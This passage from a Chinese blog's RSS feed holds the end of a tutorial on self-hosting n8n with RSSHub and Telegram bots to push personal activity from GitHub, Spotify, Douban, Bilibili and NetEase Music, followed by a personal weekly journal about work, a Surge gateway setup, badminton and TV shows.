&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如下图，配置完成后服务重启成功即可&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;注意环境变量里的URL配置，这个要填写你刚刚得到的northflank为你自动分配的，我这里是因为后面绑定了自定义域名（也就是说更换域名也需要修改这里）。因为这个域名是用作很多oAuth服务回调的，可以参考这条推文&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;https://twitter.com/huhexian/status/1686700703044313088?s=20&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeifzjnvsy2oujh25v55ir7x2uczhz4cgfstdi35kai364fkrdt5qoi.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;域名CDN加速&lt;/p&gt;
&lt;p&gt;这一步可以跳过，并不影响后续的部署，只是手头刚好有一个域名，可以配合白嫖cloudfare的CDN加速服务&lt;/p&gt;
&lt;p&gt;这里可能是唯一一步要花点钱的了，当然你手头有域名是最好的。&lt;/p&gt;
&lt;p&gt;在腾讯云注册一个域名，比如我注册了 &lt;code&gt;raye.wiki&lt;/code&gt;，再注册一个cloudfare账号， 并且添加域名（我已经添加好了）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeicn3z32qct45bbedwjedweeexb633bmuivref7duqd6s4k2kwbc4q.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Cloudfare会要求验证下这个域名是属于你的，按照指引来添加一个记录校验&lt;/p&gt;
&lt;p&gt;然后我们更换DNS解析的服务器，可以理解为把域名解析的任务托管给cloudfare（默认是腾讯云提供的域名解析免费套餐）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeielvmown45kyot7lcdthoehkpybdvrok6wrpfkcxgx3yq2gentjhy.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这样，我们的域名就托管给cloudfare，后续可以让cloudfare来帮我们加速访问了&lt;/p&gt;
&lt;p&gt;域名绑定&lt;/p&gt;
&lt;p&gt;在 &lt;code&gt;northflank&lt;/code&gt; 中添加我们的域名，这里我选择分配我的子域名， &lt;code&gt;n8n.app.raye.wiki&lt;/code&gt;， 添加TXT记录绑定即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeieduy4m5ppsgktx53qbtwqolxofmoyriu4coh6bmm6le7a4nialqi.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeic62omeqtqvwdpw6iov43zz5zgb5mgns3kxn5nroxa2pi65mgzdwe.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;初次绑定的时候可以先只开DNS，等到能正常访问了，开启cloudfare的小云朵即可实现加速&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreicgj4yt365fjhfzawp7h7ulqgwvosdyoxsvze5fyoosnblwrfw2om.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;(Ps. 是否开启小云朵加速这个有时候需要多次尝试下，理论上是可以用cloudfare来加速的😅）&lt;/p&gt;
&lt;p&gt;创建工作流&lt;/p&gt;
&lt;p&gt;部署完成之后，不管你是绑定了自定义域名，还是由 &lt;code&gt;northflank&lt;/code&gt; 分配给你的域名，都可以在浏览器中访问，注册好你的用户名和密码（毕竟这个是暴露在公网上的，并且会存储很多凭证信息）&lt;/p&gt;
&lt;p&gt;之后就可以开始创建工作流，实现信息的自动聚合了。首先展示下我目前在跑的工作流&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeihzehlputcewyradgsc33aylqf6frgzmajwcepf4rnvfx22dmbuta.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;工作流可以直接复用reorx大佬的，导入json就行了，注意要区分成不同的工作流来搞，不要都集中放在一个工作流里（我开始以为可以后来发现会执行失败&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;https://github.com/reorx/n8n-workflows&lt;/p&gt;
&lt;p&gt;接下来逐个介绍一下：&lt;/p&gt;
&lt;p&gt;Github Stars To Telegram&lt;/p&gt;
&lt;p&gt;Github Star的信息自动推送到tg（每隔30min）&lt;/p&gt;
&lt;p&gt;Github用户的Star信息记录在这里：&lt;a href=&quot;https://github.com/rayepeng.atom&quot;&gt;https://github.com/rayepeng.atom&lt;/a&gt; 替换为你的用户名就可以了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeibgrplcqqgkuuv4tjw5hk6ihw7ftjqxkaj6dmevrs5rjedu65moiu.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;代码节点
代码节点我是复用的Reorx大佬的代码，&lt;a href=&quot;https://github.com/reorx/n8n-workflows&quot;&gt;https://github.com/reorx/n8n-workflows&lt;/a&gt;
但他的工作流节点都是老版的，如果运行出问题，可以考虑更新到最新的，基本兼容，只是部分API方法需要加一个 &lt;code&gt;$&lt;/code&gt; 符号&lt;/p&gt;
&lt;p&gt;顺带解释一下代码的原理：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;getWorkflowStaticData&lt;/code&gt; 是获取静态的存储数据，n8n允许存储一些数据，比如我们每次存储最新的一次uid数据，那么后续工作流运行的时候，去比较当前最新的uid，是否和上一次存储的相同，如果相同就不需要推送（从而避免重复推送）&lt;/li&gt;
&lt;li&gt;节点的输入实际上就是一个json结构的item数组， &lt;code&gt;getId&lt;/code&gt; 就是获取item的每一个唯一标识，这个不同场景下是需要修改的（要根据具体的json结构）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;staticData.lastItemId&lt;/code&gt; 就是在保存最新的id&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;const staticData = $getWorkflowStaticData(&apos;global&apos;);
const lastItemId = staticData.lastItemId;

console.log(&apos;lastItemId&apos;, lastItemId);
const firstItem = items[0];
let newItems = [];

function getId(item) {
  return item.json.track.id;
}

if (lastItemId) {
  for (const item of items) {
    if (getId(item) === lastItemId) {
      break;
    }
    newItems.push(item)
  }
} else {
  newItems = [firstItem]
}

staticData.lastItemId = getId(firstItem)
return newItems.reverse()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Spotify  To Telegram&lt;/p&gt;
&lt;p&gt;Spotify本身提供了OAuth的认证方式，我们只需要根据n8n Spotify节点的指引操作一下即可，代码节点基本复用&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeicq6je5xujrvnmgyshsxq2ukocaaktx54iwgrzbtfmbepwbpbr7aa.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Pinboard rss To Telegram&lt;/p&gt;
&lt;p&gt;Pinboard是一个书签管理工具，虽然收费，但是真的很好用。页面很简洁，简洁到连css样式都不加🤣&lt;/p&gt;
&lt;p&gt;Pinboard同时提供了大量的API，比如获得最新添加的书签，因此我们只需要每隔一段时间检测是否有新增书签，即可实现推送&lt;/p&gt;
&lt;p&gt;API如下，获取最新添加的书签&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://api.pinboard.in/v1/posts/recent?format=json&amp;amp;auth_token=xxxxx
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;豆瓣 To Telegram&lt;/p&gt;
&lt;p&gt;豆瓣虽然没有任何文档提供API，但有一个隐藏的rss订阅源&lt;/p&gt;
&lt;p&gt;访问你的个人主页，比如我的，👏🏻关注&lt;a href=&quot;https://www.douban.com/people/162586644/?_i=9643158ntY72-j&quot;&gt;https://www.douban.com/people/162586644/?_i=9643158ntY72-j&lt;/a&gt;
就能获得对应的rss源了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreifvo74jydq2mohkqxldxdkdnk6ytsktvc2sfrgjdtxinuzgpqoyme.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;与RSS Hub联动&lt;/p&gt;
&lt;p&gt;其实到这一步你会发现，国外的app开发者们，都很贴心地提供了API给你调用，虽然各自有护城河，但毕竟还是开放的。&lt;/p&gt;
&lt;p&gt;然而国内的这群app们就没这么好了，反爬措施一个比一个严格，就想把用户圈子自己的城堡里。&lt;/p&gt;
&lt;p&gt;不过还是有解决方案的，RSS Hub 就是这样一个项目，初衷是为了让万物都可变成RSS订阅（感谢开源🥰）&lt;/p&gt;
&lt;p&gt;其中包含了网易云、哔哩哔哩这些app的RSS订阅URL，官方文档：&lt;a href=&quot;https://docs.rsshub.app/&quot;&gt;https://docs.rsshub.app/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;因此，我们就能很方便地，自己部署一个RSS Hub，并且实现相关app的信息聚合！&lt;/p&gt;
&lt;p&gt;RSS Hub部署&lt;/p&gt;
&lt;p&gt;官方文档其实已经提供了好几种部署方式，&lt;a href=&quot;https://docs.rsshub.app/install/docker-jing-xiang&quot;&gt;https://docs.rsshub.app/install/docker-jing-xiang&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;但我们依旧采用白嫖的方式！&lt;/p&gt;
&lt;p&gt;我一开始直接用 &lt;code&gt;northflank&lt;/code&gt; 来部署的，但是由于资源不足会导致后台OOM。于是切换到了另一个serverless平台：&lt;a href=&quot;https://www.koyeb.com/&quot;&gt;https://www.koyeb.com/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;部署方式其实和n8n部署很相似的，只需要创建新项目，并且选择RSS Hub的Github仓库部署即可&lt;/p&gt;
&lt;p&gt;部署结果如图（域名打马赛克是不让你白嫖我的服务 🐶：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeibqet6z5krspkjzy2mmnbwkygqut3poivkh6dwflbuysz4wrbj3gu.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;B站 To Telegram&lt;/p&gt;
&lt;p&gt;部署成功之后，即可根据RSS Hub的文档，获得自己投币的视频（注意需要公开）&lt;/p&gt;
&lt;p&gt;比如我的投币视频链接：&lt;/p&gt;
&lt;p&gt;https://rsshub.app/bilibili/user/coin/261764405&lt;/p&gt;
&lt;p&gt;这样就可以实现B站的投币视频的推送啦（点赞和收藏视频还是要隐藏的，毕竟有很多小姐姐😅&lt;/p&gt;
&lt;p&gt;网易云 To Telegram&lt;/p&gt;
&lt;p&gt;网易云则有一点点复杂，因为需要你的登录态cookie&lt;/p&gt;
&lt;p&gt;获得cookie的流程可以参考：&lt;a href=&quot;https://github.com/acloudtwei/NewMusic163%E6%B5%8F%E8%A7%88%E5%99%A8%E6%8A%93cookie&quot;&gt;https://github.com/acloudtwei/NewMusic163%E6%B5%8F%E8%A7%88%E5%99%A8%E6%8A%93cookie&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;简单介绍下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;获得歌单链接：&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreidm52dklx7gdcybrr35rps7iag7t2mekaeduw6zy2sboedfx7waja.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;浏览器打开登录，开发者工具找到这个值 &lt;code&gt;MUSIC_U&lt;/code&gt; 即可&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeiez7podlzpo5li3eerggv3iieriuzrn6w4olqrluozurgujzfo34a.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;在serverless平台，配置好对应的环境变量 &lt;code&gt;NCM_COOKIES &lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreieel53xd2m7maoaphmrvdujtxv7otd7vtouxnoexyf337t4doufqa.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;此时就配置完成了，当你喜欢一首歌的时候，会自动推送到Telegram&lt;/p&gt;
&lt;p&gt;附：telegram相关配置
创建telegram频道&lt;/p&gt;
&lt;p&gt;点击New Channel, 有手即可：&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- &amp;lt;p align=&quot;center&quot;&amp;gt;
&amp;lt;img width=&quot;600&quot; height=&quot;300&quot; src=&quot;./attachments/202307200811566.png&quot;&amp;gt;
&amp;lt;/p&amp;gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;创建 telegram机器人并添加到频道管理员&lt;/p&gt;
&lt;p&gt;本质上是通过机器人来推送信息的，因此我们需要创建属于自己的机器人&lt;/p&gt;
&lt;p&gt;方法也很简单，搜索BotFather，start开始，取名就行了&lt;/p&gt;
&lt;p&gt;创建完会获得一个机器人的Token，这个要保存好。（虽然忘记了也可以通过BotFather找回）&lt;/p&gt;
&lt;p&gt;&amp;lt;p align=&quot;center&quot;&amp;gt;
&amp;lt;img width=&quot;300&quot; height=&quot;300&quot; src=&quot;./attachments/bafybeif2a4xlul6f7zj4p5s7c6stc7rbyfug55mpsemt7e42alentgl5qe.tiff&quot;&amp;gt;
&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;创建完成之后，添加到频道管理员即可（可以把删除消息的权限关了，太懒了不截图了）&lt;/p&gt;
&lt;p&gt;chatid获取&lt;/p&gt;
&lt;p&gt;这一步是真的稍稍有点复杂，我研究了半天。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;首先从这里进入频道管理
&amp;lt;p align=&quot;center&quot;&amp;gt;
&amp;lt;img width=&quot;600&quot; height=&quot;300&quot; src=&quot;./attachments/bafkreifl2qwju64bjcj5xu7zjh23hioannfsrjc7m4tjl6cacer56vt764.png&quot;&amp;gt;
&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;点击右上角的Edit编辑，首先公开频道（后面可以隐藏）&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeid55s7xk4yktankp7qpvgq6jb5e4ranyuw6boaesfkzvizzfizd4u.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这个时候就已经你的频道就已经有一个独一无二的名字了，直接用这个作为Telegram的节点做推送也可以
但如果你不想公开的话，继续往下看&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;通过API触发一条消息&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;将Token、channel name替换成你的，发送一条消息&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://api.telegram.org/bot{Token}/sendMessage?chat_id=@{channelname}&amp;amp;text=test
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时获得相应内容，chatid 就获得了，最后再把channel给隐藏起来，就完成了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
    &quot;ok&quot;:true,
    &quot;result&quot;:{
        &quot;message_id&quot;:591,
        &quot;sender_chat&quot;:{
            &quot;id&quot;:xxxxxxx,
            &quot;title&quot;:&quot;Raye&apos;s Journey&quot;,
            &quot;username&quot;:&quot;RayeJourney&quot;,
            &quot;type&quot;:&quot;channel&quot;
        },
        &quot;chat&quot;:{
            &quot;id&quot;:xxxxxxxxx,
            &quot;title&quot;:&quot;Raye&apos;s Journey&quot;,
            &quot;username&quot;:&quot;RayeJourney&quot;,
            &quot;type&quot;:&quot;channel&quot;
        },
        &quot;date&quot;:1689602624,
        &quot;text&quot;:&quot;test&quot;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;参考&lt;/p&gt;
&lt;p&gt;主要是Refer了Reorx大佬的两篇文章
&lt;a href=&quot;https://reorx.com/blog/sharing-my-footprints-automation/%e5%89%8d%e8%a8%80&quot;&gt;https://reorx.com/blog/sharing-my-footprints-automation/&lt;/a&gt;
&lt;a href=&quot;https://reorx.com/blog/0-cost-self-hosted-n8n-with-railway-and-supabase/&quot;&gt;https://reorx.com/blog/0-cost-self-hosted-n8n-with-railway-and-supabase/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeial52dmrdpxfzgmqux3wb2lqknvjv75bwwkosixduemixj6pgfjsm.jpeg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>周报7 我们都需要快照</title><link>https://rayepeng.net/posts/%E5%91%A8%E6%8A%A57-%E6%88%91%E4%BB%AC%E9%83%BD%E9%9C%80%E8%A6%81%E5%BF%AB%E7%85%A7-copy/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E5%91%A8%E6%8A%A57-%E6%88%91%E4%BB%AC%E9%83%BD%E9%9C%80%E8%A6%81%E5%BF%AB%E7%85%A7-copy/</guid><pubDate>Sun, 16 Jul 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;周报7 我们都需要快照&lt;/p&gt;
&lt;p&gt;&amp;lt;p align=&quot;center&quot;&amp;gt;
&amp;lt;img width=&quot;500&quot; height=&quot;300&quot; src=&quot;./attachments/bafybeia2birr7o6qjhvrjduuk5xhwy7rehjoesvyacgbo7u6l5dqvbudya.jpeg&quot;&amp;gt;
&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;这里记录的是raye在2023年，6.16~7.16日这段时间的记录、思考、故事&lt;/p&gt;
&lt;p&gt;最近回忆自己的周报，发现很多文字、很多想法、随着时间的积累逐渐发生了变化&lt;/p&gt;
&lt;p&gt;就像网页需要快照一样，我一直很喜欢快照这个词，在我第一次接触到这个略带生涩的术语时，我还未能参透其中的内涵&lt;/p&gt;
&lt;p&gt;但我们真的很需要快照，需要在生活这根数轴上，录制下我们的一个个快照。照片或许是最好的一种方式，但它太具象，缺少可以把玩、品味、参悟的空间。文字，无疑是快照记录与呈现的最好方式。它足够清晰又带一点朦胧，它充满情绪却又无足轻重，它虽单一，却千变万化。以文会友，不如说是以快照会友。&lt;/p&gt;
&lt;p&gt;写到这里，突然心中有一点触动，泪水就想夺眶而出了。我在言语上不是一个善于表达感情的人，但文字中蕴含的希冀、念想、情感，总给我一种无穷的力量，驱使着我，不断向前。&lt;/p&gt;
&lt;p&gt;知音少，弦断有谁听&lt;/p&gt;
&lt;p&gt;反思&lt;/p&gt;
&lt;p&gt;现在是7月15日的晚上10点半，在我回顾完历史发表在xlog上的周报后，我终于开始提笔写6月下旬到7月上旬这段时间的周报了&lt;/p&gt;
&lt;p&gt;期间真的经历了很多，我有点感觉是我工作两年多来，遇到的最艰难的一次&lt;/p&gt;
&lt;p&gt;具体详情不便透露，但让我深刻体会到了几个关键字：pua、甩锅、信息差、老板&lt;/p&gt;
&lt;p&gt;但凡遇到问题，部门之间一定是互相甩锅的。但重点这次不是实际的bug，而是涉及到老板、流程规范的一些问题。&lt;/p&gt;
&lt;p&gt;但我觉得最气愤的就是，上级不去直接怼回去，反倒是利用信息差，pua底层员工（pua我都能接受了，但是你好歹怼回去啊）&lt;/p&gt;
&lt;p&gt;而且，最让我感到痛苦的是，明明数据就那么多，我想破了脑袋，也觉得找不到更多的问题。&lt;/p&gt;
&lt;p&gt;却偏偏要用一些pua的话术，诸如，“啊，我记得不是这样的啦”， “怎么可能数据就这么点，XXX数据不是有好几百条吗”（实际自己也不知道）&lt;/p&gt;
&lt;p&gt;若是初入社会的我，或许还会觉得，是我思考的不到位，但是我真的很想反抗，我不想把一个很简单的事情，翻来覆去论证好几遍&lt;/p&gt;
&lt;p&gt;而且pua的话术永远是万能的:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeia7yyrv5m2jvf33px5g2dhrcuk3cpk3owa3bkedn52exc4o7ifni4.tiff&quot; alt=&quot;DraggedImage&quot; /&gt;&lt;/p&gt;
&lt;p&gt;当然，我承认，安全的工作永远是最难做的，尤其是在大公司。安全往往是最容易背锅的，这段时间我也见识到了业务的各种骚操作，我以前觉得自己写逻辑实现的很不优雅，结果，干了好多年的老员工，设计思路也不见得好到哪里去。&lt;/p&gt;
&lt;p&gt;同事给了我一个词：草台班子&lt;/p&gt;
&lt;p&gt;关于我&lt;/p&gt;
&lt;p&gt;好在还有xlog这样一个博客，可以让我持续不断地去发现新东西，认识新的朋友。&lt;/p&gt;
&lt;p&gt;其实我并不是一个很挑的人，我工作的内驱力，来源永远是自身的好奇心。而且我的好奇心是不会区分对待的，只要是我没有理解的事物，我一定是有好奇心，并且抱着莫大的热忱去做的。&lt;/p&gt;
&lt;p&gt;但是呢，首先承认我有时候会存在眼高手低的情况，觉得自己懂得很快就没有沉入下去，这是我这段时间反思的一个结果。&lt;/p&gt;
&lt;p&gt;铺的太广，导致自己无法聚焦。看的太泛，导致自己无法深入。想得太多，导致自己无法行动。&lt;/p&gt;
&lt;p&gt;但是，最近的工作让我无语。我不喜欢在给老板的汇报上去扣各种字眼。用我1~2周的时间，来不断浓缩出一份不到5分钟的ppt展示页。&lt;/p&gt;
&lt;p&gt;但这就是社会食物链，营养的转换效率就是这么低&lt;/p&gt;
&lt;p&gt;另外还有一个问题，我觉得存在很大的惯性，无法及时从一个事情中抽身，或者说当我工作了很久之后，不愿意去转换一下思路。&lt;/p&gt;
&lt;p&gt;其实我觉得这是一个很有必要练习的事情，不是说长时间的专注不行，而是说，人是需要依靠一些身体上的运动，来刺激因为专注而疲惫的大脑。&lt;/p&gt;
&lt;p&gt;因为我毕竟不是天才人物，我无法在长时间的专注中，一直保持有新的想法。&lt;/p&gt;
&lt;p&gt;也许，就是当众人都开始疯狂地寻找富豪遗失的手表时，往往是最后静下心来，无意中发现的那个小孩，只是因为听到了手表的指针滴答声&lt;/p&gt;
&lt;p&gt;xbox&amp;amp;surge&lt;/p&gt;
&lt;p&gt;Surge的授权我很早就买了，但是很长一段时间，我都将其闲置在一旁，并没有深入去研究，只是当一个抓包工具而已（几百元买一个抓包工具我还真富）&lt;/p&gt;
&lt;p&gt;最近重新开始研究surge，不管是iPhone还是Mac，都已经总结了一些surge的用法，这块预计会出一篇文章综合介绍一下。&lt;/p&gt;
&lt;p&gt;搬家之后，渐渐稳定了下来，于是开始思考手头的设备怎么利用起来，虽然最近xbox的游戏打的少了，但是xbox这最强机顶盒的名头不是虚的。
(xbox支持Netflix、hbo、Apple tv、hulu的4k输出，基本覆盖了我常用的流媒体）&lt;/p&gt;
&lt;p&gt;最开始想用surge的远程代理，让xbox代理就好了。但是微软不知道怎么想的，居然没有代理这个功能。于是开始研究下还有无其他方案。&lt;/p&gt;
&lt;p&gt;其实也有两种，不得不感慨surge真的功能太丰富了。其一是接替路由器，作为软路由，这个被否决了，因为wifi是和室友公用的。其二是通过增强模式，新增一块虚拟网卡，充当网关。&lt;/p&gt;
&lt;p&gt;我选择了第二种方式，同时在配置的时候发现了一个坑：surge的官方文档给的DNS配置是错误的，&lt;a href=&quot;https://surge.mitsea.com/others/gateway-mode&quot;&gt;https://surge.mitsea.com/others/gateway-mode&lt;/a&gt; ，实际DNS配置应该是这个&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeihgwn5iz5odfm7ddpwcd432omgsxu6nodwmeith7j5nihdqvostfu.tiff&quot; alt=&quot;DraggedImage-1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这样我的xbox就可以借由mac的分流规则来实现科学上网了：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeifhfciv46mj4pel72ixvlypsqme3ahhud22nyug4zz7kq6tok3fdy.tiff&quot; alt=&quot;DraggedImage-2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;数字日记&lt;/p&gt;
&lt;p&gt;Reorx 在这篇博客中提到 &lt;a href=&quot;https://reorx.com/blog/sharing-my-footprints-automation&quot;&gt;https://reorx.com/blog/sharing-my-footprints-automation&lt;/a&gt; ，他就像是一个生活在赛博空间的机器，执行者信息收集和过滤的工作。因此他想将过滤后的信息都统一起来，于是打造了一套n8n的自动化工作流，聚合信息输入和输出&lt;/p&gt;
&lt;p&gt;虽然，但我更愿意称之为这是我的数字日记，这就是我在赛博空间的生活沉淀&lt;/p&gt;
&lt;p&gt;目前在大佬博客的帮助下，已经完成了。频道地址：&lt;a href=&quot;https://t.me/RayeJourney&quot;&gt;https://t.me/RayeJourney&lt;/a&gt;，Raye’s Journey ，意为Raye的赛博空间的行程记录。&lt;/p&gt;
&lt;p&gt;考虑到这方面的文章还挺少的，于是自己也打算写一篇来帮助大家完成搭建。&lt;/p&gt;
&lt;p&gt;愿我们都有自己的数字日记。&lt;/p&gt;
&lt;p&gt;&amp;lt;p align=&quot;center&quot;&amp;gt;
&amp;lt;img width=&quot;300&quot; height=&quot;300&quot; src=&quot;./attachments/bafybeiadxzhrhdgzswg5rzue3cmwx6dk4e7a763gg7hph4l3dn7sdg643e.tiff&quot;&amp;gt;
&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;蓝信封&lt;/p&gt;
&lt;p&gt;7月，已经是和小孩子的第5封信啦！继续坚持下去&lt;/p&gt;
&lt;p&gt;微信读书&amp;amp;阅读&lt;/p&gt;
&lt;p&gt;4月23日那段时间参加了世界读书日的活动，终于在7月收到了微信读书的世界读书日勋章，虽然我觉得不是很好看哈哈哈哈，但是沉甸甸的分量确实很喜欢！🥰&lt;/p&gt;
&lt;p&gt;（但是拍的照片太丑啦！🤣&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeicjvww3sn5jk5lghsyulnozql7zi5us62u5u3u35vycjtabsqoc3i.jpeg&quot; alt=&quot;IMG_4783&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeie2al5eaxyje2bzbjgpfbanwqksdcqfbhvneoyo2mo53wrcyi2pn4.jpeg&quot; alt=&quot;IMG_4784&quot; /&gt;&lt;/p&gt;
&lt;p&gt;羽毛球&lt;/p&gt;
&lt;p&gt;羽毛球也找了教练，目前大班也上了9节了，一对一也上了3节。&lt;/p&gt;
&lt;p&gt;改正了一些，主要是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;步法，前场开始用垫步，并且也不会再盲目后退被抓吊网前了&lt;/li&gt;
&lt;li&gt;反手，虽然并不稳定，但是偶尔能打出高质量斜线&lt;/li&gt;
&lt;li&gt;接杀，正手接杀还需要练习下&lt;/li&gt;
&lt;li&gt;发球，努力练了一箱球，终于学会在双打的时候反手发球了&lt;/li&gt;
&lt;li&gt;吊球，训练的时候打的还好，但是实战就有点拉胯&lt;/li&gt;
&lt;li&gt;搓球，终于学会了网前搓球，这几天和球友的实战中也打出了好几个高质量的搓球（果然是得网前者得天下）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;讨厌的人&lt;/p&gt;
&lt;p&gt;纯发牢骚，诸君随意看看：&lt;/p&gt;
&lt;p&gt;有时候真的很讨厌那些喜欢一上来就给别人扣帽子的人&lt;/p&gt;
&lt;p&gt;我喜欢交朋友，并且欣赏别人的优点&lt;/p&gt;
&lt;p&gt;但是我很难忍受一种人，我觉得可能是基因的天性，最喜欢对别人指指点点，凡事都以自己的是非为是非&lt;/p&gt;
&lt;p&gt;因此，我很多时候都不会有深交的朋友，因为价值观不对，而且我不喜欢小圈子，人会被圈子所束缚&lt;/p&gt;
&lt;p&gt;所以我经常是从一个圈子，跳到另一个圈子&lt;/p&gt;
&lt;p&gt;毕竟朋友难得，但是相同兴趣的搭子还是容易找&lt;/p&gt;
&lt;p&gt;追剧&lt;/p&gt;
&lt;p&gt;Platonic 完结了，这部剧我真的好喜欢，其中埋的几个伏笔，最后结尾也都映照了&lt;/p&gt;
&lt;p&gt;最后一集Sylvia和Will还是得分开了，面对着Will在路边买来的送给她的塑料花，Sylvia说道：“这花很假，很塑料。但这意味着它永远不会凋谢。”。类目了😭&lt;/p&gt;
&lt;p&gt;由于Apple tv我不知道怎么截图，豆瓣上有一些好玩的图：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeihot55vxsdxh34ihxiutsssvnqffunc7op22yhqonx22yyisosyjy.tiff&quot; alt=&quot;DraggedImage-4&quot; /&gt;&lt;/p&gt;
&lt;p&gt;其实挚友之间，也是一种柏拉图的关系呢！&lt;/p&gt;
&lt;p&gt;The Crown和Card of House 也还在追，慢慢看吧，都是很经典的了。其中既有伊丽莎白女王的苦楚，也有弗兰德为打击政治对手无所不用其极的手段。&lt;/p&gt;
&lt;p&gt;The last of us 虽然上映很久了，但是最近才开始慢慢看。男主有够帅+魅力，随行的小女主真的很可爱，真的很爱这部剧&lt;/p&gt;
&lt;p&gt;Newsletter&lt;/p&gt;
&lt;p&gt;以后所有的记录就都会自动同步到个人频道啦，&lt;a href=&quot;https://t.me/RayeJourney&quot;&gt;https://t.me/RayeJourney&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;不过也会摘录一些放在博客里：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://cali.so/blog/guide-for-cloning-my-site&quot;&gt;https://cali.so/blog/guide-for-cloning-my-site&lt;/a&gt; 介绍了快速搭建博客，不过我觉得xlog已经很值得了，重点还是持续不断地内容输出&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mp.weixin.qq.com/s/iK_JkVRrh5vIRBjnQbDOyw&quot;&gt;https://mp.weixin.qq.com/s/iK_JkVRrh5vIRBjnQbDOyw&lt;/a&gt; 讲述如何破解滑动验证码&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://zhuanlan.zhihu.com/p/629476969&quot;&gt;https://zhuanlan.zhihu.com/p/629476969&lt;/a&gt; 金山文档都支持云函数部署了，涨姿势&lt;/li&gt;
